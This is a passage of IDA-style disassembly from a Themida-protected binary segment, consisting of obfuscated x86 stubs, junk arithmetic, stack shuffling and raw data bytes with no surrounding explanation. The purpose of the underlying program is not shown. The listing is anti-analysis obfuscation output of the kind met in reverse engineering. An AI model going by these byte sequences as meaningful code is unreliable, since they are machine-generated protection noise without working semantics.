		pop	ebx
		jmp	loc_5560B2
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9240489h, 0F0CDh, 45E9DD29h, 5A000014h,	6617C580h
		dd 0ABE95052h, 0FFFFDEh, 0D073E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547BDE:				; CODE XREF: Themida_:0054BCA3j
		pop	esp
		jmp	loc_54DCB9
; ---------------------------------------------------------------------------
aF3F1Sdx	db 'f3,$f1,$é¤x',0
		dd 81E68900h, 4C6h, 3BE95300h, 810000CCh, 57260BF2h, 0C30AE959h
		dd 0BD550000h, 4333325Ch, 0F4B5E9h
		db 0
; ---------------------------------------------------------------------------


loc_547C15:				; CODE XREF: Themida_:0054A4A3j
		neg	ecx
		jmp	loc_551331
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 5704C483h, 2D1F68h, 240C8900h, 0ED61C468h
		dd 0E9C15940h, 33E98104h, 89C46E57h, 240C8BCFh,	0C104C483h
		dd 0EF8106EFh, 0A7372A05h, 14E9F801h, 0BB00000Eh, 778CD48Fh
		dd 815BDA31h, 55F53FC2h, 2C8152E3h, 834FEB24h, 4E95B4Dh
		db 0D0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_547C6F:				; CODE XREF: Themida_:0054FEDFj
		mov	edx, edi
		pop	edi
		push	esi
		mov	esi, 183E060Bh
		jmp	loc_542AC9
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 81h
		dd 0BB403BF7h, 5FFB8960h, 154BEB81h, 0EE810B0Fh, 107A5C15h
		dd 0E955DE01h, 0FFFFDB9Fh, 4BDh, 98B9E900h, 685B0000h
		dd 6A17h, 0BF243C89h, 74790Ah, 0E905E7C1h, 0FFFFCD42h
		dd 104C483h, 1C875FFBh,	0C25DE924h, 0C809FFFFh,	0AB00E959h
		dd 0C483FFFFh, 33D5E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547CDA:				; CODE XREF: Themida_:005491A2j
		mov	edi, 6D143425h
		shl	edi, 8
		push	ebx
		mov	ebx, 22CC7181h
		xor	edi, ebx
		pop	ebx
		sub	ebp, 5B2C5FDFh
		add	ebp, edi
		push	ebx
		mov	ebx, 4CFC2D09h
		shl	ebx, 5
		xor	ebx, 3CED1B17h
		sub	ebx, 483C5A58h
		add	ebp, ebx
		pop	ebx
		pop	edi
		add	edx, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5553A1
; ---------------------------------------------------------------------------


loc_547D19:				; CODE XREF: Themida_:00544C12j
		sub	[esp+8], ebp
		pop	ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_550E64
; ---------------------------------------------------------------------------
aS_6		db '\é',1Bh,'(',0
		dd 40500h, 13E90000h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_547D3F:				; CODE XREF: Themida_:005539FFj
		sub	ebx, 1D3B63FAh
		jmp	loc_542C59
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4C4h, 5038E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547D56:				; CODE XREF: Themida_:005540C0j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		mov	esi, edx
		jmp	loc_543A70
; ---------------------------------------------------------------------------


loc_547D93:				; CODE XREF: Themida_:0054F9B5j
		mov	[esp], edi
		jmp	loc_552587
; ---------------------------------------------------------------------------
		db 0FFh
a4Zhd		db '4$Zh„]',0
		align 4
		dd 89240489h, 4B951E0h,	1000000h, 0B879E9C8h, 4AC0000h
		dd 6FE951B3h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547DBF:				; CODE XREF: Themida_:005444C2j
		mov	edi, 2C70348Fh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 77E90C26h
		sub	edx, 4B74D797h
		xor	edi, edx
		pop	edx
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_544810
; ---------------------------------------------------------------------------


loc_547DE9:				; CODE XREF: Themida_:00557500j
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5470CC
; ---------------------------------------------------------------------------
		db 89h
		dd 0B8505FFDh, 78580FB8h, 0E958C301h, 4068h, 5604E2C1h
		dd 0FFFFFFBEh, 50C281FFh, 0E9486004h, 0D42Dh, 1B4B17B8h
		dd 0EE1EE968h, 0C801FFFFh, 83240C8Bh, 0C08304C4h, 24043302h
		dd 33240431h, 248B2404h, 24042024h, 0A8B6E99Ch,	0C181FFFFh
		dd 4, 0FFAF70E9h, 8BF328FFh, 0C4832414h, 66C32804h, 0D8B551h
		dd 0C8B66EBh, 2C48324h,	0FF2C380h, 8F66C0B6h, 85E98704h
		dd 89FFFFA8h, 0A3E95AD1h, 68FFFFC3h, 39D0h, 66240C89h
		dd 0E91559B9h, 5A03h, 52240C8Bh, 0C281E289h, 4,	0A717E9h
		dd 6E5C000h, 0AF4EE9h
		db 0
; ---------------------------------------------------------------------------


loc_547EB9:				; CODE XREF: Themida_:00545511j
		push	edx
		mov	edx, 4
		add	ebx, 4A197CEEh
		add	ebx, edx
		jmp	loc_5484BE
; ---------------------------------------------------------------------------
		dd 83242489h, 5A042404h, 8A268h, 24348900h, 4BEh, 4EB0E900h
		dd 34FF0000h, 648AE924h, 8B660000h, 89532404h, 72CAE9E3h
		dd 0D0880000h, 58C2885Ah, 0D455E9h
		db 0
; ---------------------------------------------------------------------------


loc_547F05:				; CODE XREF: Themida_:00555339j
		pop	eax
		jmp	loc_55210B
; ---------------------------------------------------------------------------
		db 88h
		dd 59665AF0h, 48BC630h,	0EFD2E924h, 0E581FFFFh,	0D4218B5h
		dd 0EFE9DDF7h, 330000B7h, 248B2434h, 0A7DAE924h, 0F681FFFFh
		dd 1AD53C70h, 61E9815Bh, 11C7E44h, 61B850F1h, 11C7E44h
		dd 348B58C1h, 4AB4E924h, 4870000h, 24248B24h, 0FEFBE981h
		dd 5357FFFFh, 0EF03CEBBh, 0A166E933h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547F6A:				; CODE XREF: Themida_:00551D26j
		mov	[esp], ebx
		jmp	loc_546EAB
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 416521E9h, 0E9F12904h, 6B98h, 0A63EED81h, 0BF57206Bh
		dd 6E060CA9h, 0BA94E9h,	6884B900h, 0E9815360h, 53606880h
		dd 0CB0FE9h, 0BD555800h, 20756010h, 525DE909h, 0D41DB7BAh
		dd 0EA21E949h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547FB6:				; CODE XREF: Themida_:0054FAD6j
		add	edx, eax
		add	edx, 13C07F66h
		pop	eax
		xchg	edx, [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		dd 8168h, 0A2B1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547FD6:				; CODE XREF: Themida_:0054C9F3j
		mov	edx, 4F280DB9h
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_545FE0
; ---------------------------------------------------------------------------


loc_547FEB:				; CODE XREF: Themida_:0054C288j
		push	2151h
		mov	[esp], ebp
		mov	ebp, 605F46ACh
		add	ebp, 4D2C1260h
		sub	esi, 2909741Ch
		jmp	loc_5464F5
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8B000000h, 0C4812414h, 4, 34FFFB01h,	0F57EE924h, 2C330000h
		dd 24248B24h, 24048B66h, 8904EC83h, 58542404h, 6D9868h
		dd 241C8900h, 3207FFBBh, 8906E96Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548046:				; CODE XREF: Themida_:0054B74Ej
		sub	edi, eax
		jmp	loc_557250
; ---------------------------------------------------------------------------
		db 0BBh, 58h, 39h
		dd 0D3F73B30h, 0D481E9h, 24048900h, 0D3009BB8h,	0C1D0F71Ah
		dd 1F2D03E0h, 2568B504h, 11560B3Eh, 0FD04B951h,	0A4E9FFEDh
		dd 810000A3h, 0BA730BEAh, 81C22916h, 0BA730BC2h, 89575816h
		dd 0EF8EE9D7h, 835EFFFFh, 89E904C4h, 81000033h,	4C1h, 4C18300h
		dd 5C240C87h, 30DDC581h, 0FF5531A8h, 48B2434h, 0EAC9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5480BA:				; CODE XREF: Themida_:005462A0j
		mov	esi, ebx
		mov	ecx, esi
		pop	esi
		mov	ebx, [esp]
		jmp	loc_5505E2
; ---------------------------------------------------------------------------
		db 29h
		dd 875A5BD9h, 17E9240Ch, 8B0000CFh, 0C4832404h,	2434FF04h
		dd 0FFBF5AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5480E1:				; CODE XREF: Themida_:005437B6j
		xor	edx, edi
		pop	edi
		add	edx, ecx
		add	[edx], ebp
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_548FFB
; ---------------------------------------------------------------------------
		db 1
		dd 11C581F5h, 8B653050h, 0C4832434h, 0E643E904h, 0CF810000h
		dd 4BB0056Ch, 0FFD2D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548121:				; CODE XREF: Themida_:0054B2F5j
		shr	ebx, 6
		and	ebx, 1525623Eh
		and	ebx, 7F7B6056h
		xor	ebx, 212016h
		add	edi, ebx
		pop	ebx
		jmp	loc_556EE6
; ---------------------------------------------------------------------------


loc_54813E:				; CODE XREF: Themida_:0054A76Aj
		pop	eax
		sub	al, bh
		mov	ebx, [esp]
		add	esp, 4
		sub	al, 0A1h
		pop	ecx
		jmp	loc_5579F8
; ---------------------------------------------------------------------------
		dw 0DD01h
aS0g		db '[é0g',0
		align 2


loc_54815A:				; CODE XREF: Themida_:00542F68j
		add	esp, 4
		push	eax
		jmp	loc_54C9EA
; ---------------------------------------------------------------------------


loc_548163:				; CODE XREF: Themida_:00547056j
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_54C582
; ---------------------------------------------------------------------------
		db 0BAh
		dd 587876E3h, 0E281D2F7h, 1356592Ah, 0E6E9h, 4E8C100h
		dd 249168h, 24148900h, 5728D5BAh, 81DAF71Fh, 0B976C0E2h
		dd 2356E954h, 0EC830000h, 24048904h, 5253E089h,	46F368h
		dd 24348900h, 0E732D668h, 0D6E95E11h, 300000C7h, 241C8BF8h
		dd 6804C483h, 261h, 0B7241C89h,	835066A4h, 148904ECh, 4A1DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5481DA:				; CODE XREF: Themida_:0055484Cj
		mov	eax, edi
		jmp	loc_551EA3
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aHO		db '$h;O',0
		align 2
		dw 0C89h
		dd 0E0895024h, 4BF57h, 0F8010000h, 4E8835Fh, 0A839E9h
		dd 68535800h, 61CF72F2h, 4AC3815Bh, 0E9F88DC3h,	0FFFFE048h
		dd 0C104E3C1h, 0C38105E3h, 0E961D836h, 295BDA89h, 822D5AD3h
		dd 292E8053h, 538205D8h, 34FF2E80h, 0E9515B24h,	5458h
		dd 6DE9DD31h
		db 0D7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_548243:				; CODE XREF: Themida_:0054363Bj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5559D0
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 7FC36AE8h, 150DC181h, 0E9813D5Fh, 5C332A93h,	15E9C101h
		dd 0C10000D8h, 0EC8308EAh, 24048904h, 67A1BB8h,	0C8AAE915h
		dd 0BA520000h, 388C484Dh, 4245429h, 2434FF5Ah, 5724048Bh
		dd 0FFB424E9h, 2434FFFFh, 83242C8Bh, 34E904C4h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54829F:				; CODE XREF: Themida_:0054461Aj
		mov	ebp, 1B00FE61h
		mov	edx, ebp
		jmp	loc_543F21
; ---------------------------------------------------------------------------
		db 89h
		dd 0FCE92424h, 66000082h, 81242C8Bh, 2C4h, 0BB62E900h
		dd 0FE29FFFFh, 81EE295Fh, 0AD1890C6h, 69C6E948h, 585B0000h
		dd 391EE9h, 0E9E28900h,	175Ch
; ---------------------------------------------------------------------------


loc_5482E0:				; CODE XREF: Themida_:0054D8EAj
		mov	[esp], edi
		push	esp
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	edx
		mov	edx, 13C35981h
		add	edx, 66572F5Bh
		xor	edx, 7A1A88D8h
		add	edi, edx
		pop	edx
		push	7E85h
		mov	[esp], ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_54EDF6
; ---------------------------------------------------------------------------
		db 0B8h, 58h, 12h
		dd 752D2DB6h, 0F7283757h, 8090E9D8h, 0E9810000h, 0FFFFFFFFh
		dd 4EC81h, 14890000h, 276EBA24h, 39E920A9h, 0C10000AEh
		dd 0E98107E9h, 3D402FF1h, 4C83C181h, 0BBE91B88h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54835B:				; CODE XREF: Themida_:0054F480j
		mov	[esp], esi
		mov	esi, 3A3041CDh
		mov	dword ptr [edx+38h], 0C5CFBE33h
		add	[edx+38h], esi
		push	dword ptr [esp]
		jmp	loc_552656
; ---------------------------------------------------------------------------
		db 58h,	81h, 0F6h
		dd 151261F4h, 61E95856h, 810000BBh, 0EE1607C3h,	0EB315D6Eh
		dd 6BF575Dh, 316B7E06h,	7BE95FFBh, 0FFFFFFF5h, 0C8B2434h
		dd 4C48324h, 0E904EC83h, 0FFFFC5D6h, 7E9468h, 69A5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5483B6:				; CODE XREF: Themida_:00548EC4j
		push	eax
		jmp	loc_546635
; ---------------------------------------------------------------------------
		dd 4C6815Eh, 68000000h,	26CCh, 50242C89h, 0D24D5CB8h, 0C1E0D115h
		dd 0BA5204E0h, 23F668F2h, 980BC281h, 0D0092ED6h, 0C215E95Ah
		dd 0ECBF0000h, 0E977EA09h, 0FFFFC883h, 0B6BFE951h, 4B9FFFFh
		dd 1000000h, 240C8BCEh,	5004C483h, 405E089h, 83000000h
		dd 1FE904E8h, 1FFFFB7h,	0DCA6E9F3h, 0E9F60000h,	0CCB60F66h
		dd 6F5368h, 240C8900h, 56E9E189h, 53000043h, 42474FFh
		dd 24048F5Bh, 0DDFCE9h
		db 0
; ---------------------------------------------------------------------------


loc_548441:				; CODE XREF: Themida_:0054EAC6j
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_543224
; ---------------------------------------------------------------------------
aCsel		db '(æéel',0
		dw 4F00h
		dd 266FEF81h, 0D7F719E1h, 0DDF78147h, 0E951B301h, 0FFFFF1B2h
		dd 8124348Bh, 4C4h, 24048F00h, 0BF57515Ch, 6A424D5Ch, 424D5868h
		dd 0F931596Ah, 6BEB815Fh, 814C602Dh, 0B9154DEBh, 50CB011Ch
		dd 154DBA52h, 0D0891CB9h, 46A4E9h, 0B6A23500h, 0C3317812h
		dd 0CAC38158h, 8172C11Bh, 0E7E94CC3h, 2EBC136h,	76F2E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5484BE:				; CODE XREF: Themida_:00547EC7j
		sub	ebx, 4A197CEEh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_54769D
; ---------------------------------------------------------------------------


loc_5484D3:				; CODE XREF: Themida_:0054FDCFj
		add	dword ptr [esp+4], 5C3A0155h
		sub	dword ptr [esp+4], 2AD61B34h
		add	[esp+4], ebx
		add	dword ptr [esp+4], 2AD61B34h
		push	esi
		mov	esi, 5C3A0155h
		sub	[esp+8], esi
		pop	esi
		push	eax
		mov	eax, 6C20224Ah
		add	[esp+8], eax
		pop	eax
		jmp	loc_55556B
; ---------------------------------------------------------------------------
		dw 0E7C0h
		dd 0FED7F603h, 0B4EF80C7h, 1C8BFE30h, 4C48124h,	0E9000000h
		dd 0DA6Fh
; ---------------------------------------------------------------------------


loc_548524:				; CODE XREF: Themida_:005441C1j
		add	ebx, 4
		jmp	loc_55414F
; ---------------------------------------------------------------------------


loc_54852C:				; CODE XREF: Themida_:005443A4j
		mov	[esp], edx
		push	7E9Fh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	edx, 4
		jmp	loc_54A186
; ---------------------------------------------------------------------------
		dw 0FB89h
		dd 24148B5Fh, 4C481h, 0EB810000h, 10AA17A5h, 7AAFE951h
		dd 0C6830000h, 0B2C68101h, 816DAD06h, 3F6550F6h, 76A7E907h
		dd 0C6800000h, 0BDEE8001h, 45AF588h, 2CE828A3h,	0E95966A3h
		dd 492h
; ---------------------------------------------------------------------------


loc_548590:				; CODE XREF: Themida_:00552560j
		add	esp, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 61h
		dec	bh
		jmp	loc_5473F1
; ---------------------------------------------------------------------------


loc_5485B5:				; CODE XREF: Themida_:0054480Bj
		sub	dx, di
		pop	edi
		mov	bp, dx
		jmp	loc_5431AD
; ---------------------------------------------------------------------------


loc_5485C1:				; CODE XREF: Themida_:0054395Ej
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5451A3
; ---------------------------------------------------------------------------
		db 58h
		dd 5341D1F7h, 0D8D7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5485D9:				; CODE XREF: Themida_:00557A00j
		mov	ch, 0F2h
		sub	bl, ch
		jmp	loc_545A5E
; ---------------------------------------------------------------------------
		dw 8658h
		dd 86C0FEC6h, 0EFE950C6h, 0C1000085h, 0E50D04E0h, 4868D67Fh
		dd 0D67FF02Dh, 58C101F8h, 8904EC83h, 0B8502434h, 7DD314F4h
		dd 0FFB265E9h, 241C8BFFh, 5604C483h, 23C2E9h, 58A2D00h
		dd 0F8014E01h, 1058A05h, 2434FF4Eh, 4C4815Fh, 31000000h
		dd 0A7F6E9C3h, 0C280FFFFh, 80FA2815h, 285B15EAh, 47C280EAh
		dd 0D7285966h, 4C9045Ah, 0CE53E97Fh, 0EE890000h, 0FFF179E9h
		dd 5E5C1FFh, 0FFF91BE9h, 0A6C181FFh, 8B018E3Eh,	0DF68243Ch
		dd 8900006Ch, 0E2892414h, 4B951h, 0CA010000h, 9043E9h
		dd 34A8B000h, 4B6044Eh,	2734ADh, 0C68058C6h, 0F7C7E9EAh
		dd 0C15DFFFFh, 515303EDh, 53E2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5486A5:				; CODE XREF: Themida_:00556598j
		push	6E87710Dh
		pop	esi
		dec	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 6BF65BE9h
		sub	esi, ebx
		pop	ebx
		add	edi, 0A802127h
		add	edi, esi
		jmp	loc_54756D
; ---------------------------------------------------------------------------
		db 57h
		dd 4048BA52h, 74E95EBCh
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5486D3:				; CODE XREF: Themida_:00548C7Dj
		push	esi
		mov	esi, 6A64F181h
		xor	edi, esi
		pop	esi
		push	ecx
		mov	ecx, 64B248D4h
		jmp	loc_5437E4
; ---------------------------------------------------------------------------


loc_5486E7:				; CODE XREF: Themida_:00542C61j
		pop	ebx
		add	ebp, 4FB598Bh
		add	ebp, 338202D4h
		add	ebp, eax
		sub	ebp, 338202D4h
		jmp	loc_54FC72
; ---------------------------------------------------------------------------
		db 0BEh, 44h, 15h
		dd 6E90B79h, 0BE00003Fh, 90639525h, 0FFA567E9h,	0E95156FFh
		dd 0C1C5h
; ---------------------------------------------------------------------------


loc_54871C:				; CODE XREF: Themida_:00552086j
		neg	eax
		sub	eax, 0FDC16E18h
		jmp	loc_54AAE4
; ---------------------------------------------------------------------------
aPH_SHsru	db 'P¸H*>.Áè',8,'HérU',0
		db 0
; ---------------------------------------------------------------------------


loc_548737:				; CODE XREF: Themida_:0054E675j
		or	dx, bp
		pop	bp
		sub	esp, 4
		mov	[esp], edi
		push	small 0FBAh
		pop	di
		add	di, 0FFFFh
		not	di
		jmp	loc_544806
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 4
		dd 1000000h, 5D04246Ch,	81240C8Bh, 4C4h, 4BA5200h, 1000000h
		dd 28C6E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548776:				; CODE XREF: Themida_:00555F22j
		add	esp, 4
		jmp	loc_555E56
; ---------------------------------------------------------------------------


loc_54877E:				; CODE XREF: Themida_:00553322j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2434h, 4EC8124h,	89000000h, 75E9242Ch, 0F6000002h
		dd 0AA28E9D5h, 8956FFFFh, 4C681E6h, 83000000h, 348704C6h
		dd 83535C24h, 2C8904ECh, 43FDBD24h, 0CE9649Eh, 68FFFFB8h
		dd 395Ch, 0E9243C89h, 0CB91h, 64F9C181h, 0CE29B9FBh, 0AAC68159h
		dd 10AD139h, 0AAEE81C6h, 550AD139h, 0B762EABDh,	5DEE013Bh
		dd 284DE9h, 0BD555C00h,	132F2D89h, 20EF581h, 92E924ABh
		dd 8BFFFFADh, 0C4832434h, 5AD02904h, 0C578122Dh, 5E80167h
		dd 67C57812h, 0F15FE9h,	4EC8300h, 0FF241C89h, 5B042474h
		dd 5C24048Fh, 2FE95E59h, 4000038h, 0E9F828AEh, 59F8h, 814ED6F7h
		dd 0EAADFAC6h, 0E9F3316Eh, 5CD7h, 89242C89h, 4C581E5h
		dd 81000000h, 4C5h, 242C8700h, 2444015Ch, 86E95304h, 89000004h
		dd 45E9240Ch, 81FFFFC3h, 4ECh, 241C8900h, 0B10ABD68h, 0EB815B6Dh
		dd 796213C8h, 1EB81h, 0BE560000h, 5C5B71EFh, 0F75EF309h
		dd 416856DBh, 89000004h, 0BCBB241Ch, 0BE62143Ah, 0F300D2ABh
		dd 465BDE01h, 1B5BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5488B9:				; CODE XREF: Themida_:0054BF36j
		and	eax, edx
		pop	edx
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		mov	edx, 0E8F13B2h
		dec	edx
		add	edx, 0F170EC50h
		mov	ebx, edx
		pop	edx
		push	749Dh
		mov	[esp], edi
		jmp	loc_543051
; ---------------------------------------------------------------------------
		dd 373968h, 46AE900h, 248B0000h, 6E686624h, 489660Bh, 5DB024h
		dd 48B66C3h, 2C48124h, 81000000h, 4ECh,	6C3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54891E:				; CODE XREF: Themida_:0054E3E2j
		sub	dword ptr [esp+4], 30AC59A2h
		add	[esp+4], eax
		add	dword ptr [esp+4], 30AC59A2h
		add	dword ptr [esp+4], 119F2905h
		sub	dword ptr [esp+4], 3C813CE6h
		jmp	loc_546F74
; ---------------------------------------------------------------------------
		db 0F7h
		dd 1C281D2h, 0F7000000h, 0E9D2F7D2h, 0FFFFC58Ah, 6AE9F929h
		dd 5CFFFFA4h, 22Dh, 24043300h, 33240431h, 248B2404h, 0C896624h
		dd 0D72BE924h, 0EFC10000h, 0AEB8E903h, 0C1580000h, 0E78105E7h
		dd 5E4A7F08h, 0BBE9DFF7h, 5700001Fh, 30577FBFh,	0E9FB096Ch
		dd 9293h, 0BD242C89h, 782779Ch,	39B0F581h, 55521EEEh, 0BE243481h
		dd 5A5DE923h, 23BEF281h, 0D3895DE9h, 68CBE95Ah,	14890000h
		dd 1B27BA24h, 0D0017455h, 5316E9h
		db 0
; ---------------------------------------------------------------------------


loc_5489D5:				; CODE XREF: Themida_:00553988j
		mov	dl, 0BBh
		jmp	loc_54B0DE
; ---------------------------------------------------------------------------
		dd 4C05EB81h, 83E92E10h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_557150
; ---------------------------------------------------------------------------


loc_5489F5:				; CODE XREF: Themida_:005534D1j
		mov	[esp], ecx
		mov	ecx, 2A7C757Dh
		mov	edi, 2A7C7579h
		xor	edi, ecx
		pop	ecx
		sub	ecx, 7ABF08BAh
		jmp	loc_5505F7
; ---------------------------------------------------------------------------
		dd 5228B850h, 4BD462Eh,	313C9932h, 7EA2E9C5h, 0F8040000h
		dd 0F82CD800h, 4EC81h, 0C890000h, 68D7B524h, 1117h, 0B2241489h
		dd 6E2C06Bh, 0E9D9C280h, 0AC1Bh, 0EC815A5Fh, 4,	89243C89h
		dd 5FFB89EFh, 1C5F095Dh, 83241C8Bh, 0A5E904C4h,	5FFFFF9Ch
		dd 0FFEBD7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548A6D:				; CODE XREF: Themida_:005530C9j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_546A68
; ---------------------------------------------------------------------------
aSI		db '(Âé·i',0
		dw 5B00h
		dd 0FFE843E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548A89:				; CODE XREF: Themida_:0054973Ej
		sub	edx, ebp
		jmp	loc_55637F
; ---------------------------------------------------------------------------
		dd 90CBED81h, 0E92937FEh, 24048B5Dh, 4C481h, 0EC810000h
		dd 4, 0FF240C89h, 8B042474h, 0EC83240Ch, 0B6BDE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548ABA:				; CODE XREF: Themida_:00552930j
		inc	esi
		shr	esi, 4
		jmp	loc_55282E
; ---------------------------------------------------------------------------
		db 0BFh
		dd 20CA5B99h, 5B9BF781h, 0FA0120CAh, 2414335Fh,	6F54E9h
		dd 0B60F6600h, 9C5166C8h, 0B665E9h
		db 0
; ---------------------------------------------------------------------------


loc_548AE5:				; CODE XREF: Themida_:005457A8j
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_551D38
; ---------------------------------------------------------------------------
aBIsSZ		db 'éSÆ',27h,'éÒZ',0
		db 0
; ---------------------------------------------------------------------------


loc_548AFF:				; CODE XREF: Themida_:00551469j
		sub	edi, 0B7D434Ah
		pop	ecx
		jmp	loc_54FCA4
; ---------------------------------------------------------------------------
		db 0FFh
		dd 1C8B2434h, 4C48324h,	0FF04C483h, 56582434h, 0F89AE954h
		dd 5266FFFFh, 8057B551h, 82E978EDh
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548B2F:				; CODE XREF: Themida_:00549676j
		add	ah, 0AAh
		sub	ah, 24h
		xor	dh, ah
		jmp	loc_54A0AE
; ---------------------------------------------------------------------------
		dd 5604EE83h, 42474FFh,	24048F5Eh, 2414895Ch, 7C8AFE88h
		dd 74880424h, 148B0424h, 0CF4AE924h, 0E95C0000h, 0FFFFA521h
		dd 0E904C483h, 7FD0h
; ---------------------------------------------------------------------------


loc_548B6C:				; CODE XREF: Themida_:00550A22j
		add	esp, 4
		movzx	ecx, ax
		push	esi
		jmp	loc_54C6FE
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0FFFFCAB1h, 2434895Ch, 813CE9h, 5DEB2900h
		dd 1C8BDF01h, 4C48124h,	81000000h, 4ECh, 240C8900h, 2B9h
		dd 59CF0100h, 479168h, 243C8900h, 42474FFh, 3A62E9h
		db 0
; ---------------------------------------------------------------------------


loc_548BB9:				; CODE XREF: Themida_:005463C3j
		xor	ecx, 86B5ABB7h
		jmp	loc_545BDC
; ---------------------------------------------------------------------------


loc_548BC4:				; CODE XREF: Themida_:0054361Cj
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	dh, 4Eh
		sub	bl, dh
		jmp	loc_54D548
; ---------------------------------------------------------------------------
		dd 4240481h, 59000000h,	0B1CE9h
		db 0
; ---------------------------------------------------------------------------


loc_548BE1:				; CODE XREF: Themida_:0054450Aj
		mov	[esp], ebp
		mov	ebp, 21EA42B2h
		mov	esi, 21EA42B6h
		xor	esi, ebp
		pop	ebp
		jmp	loc_5558CF
; ---------------------------------------------------------------------------
		dw 5668h
		dd 8900005Ch, 3C682414h, 83000000h, 248904ECh, 24048124h
		dd 4, 0E924048Fh, 0FFFFB478h
; ---------------------------------------------------------------------------


loc_548C18:				; CODE XREF: Themida_:00549577j
		pop	ebp
		jmp	loc_55755B
; ---------------------------------------------------------------------------


loc_548C1E:				; CODE XREF: Themida_:0055099Ej
		mov	[esp], ecx
		jmp	loc_552967
; ---------------------------------------------------------------------------


loc_548C26:				; CODE XREF: Themida_:0054F9C2j
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		push	2A2F1334h
		pop	ebp
		jmp	loc_542C90
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C4h
		dd 4, 407FE9h, 4EB8300h, 2474FF53h, 48F5B04h, 24248B24h
		dd 8368E9h, 240C8B00h, 2BE0E9h
		db 0
; ---------------------------------------------------------------------------


loc_548C69:				; CODE XREF: Themida_:0054C784j
		xor	edx, 0EBD0EB42h
		push	edi
		mov	edi, 285D6BA2h
		neg	edi
		shr	edi, 8
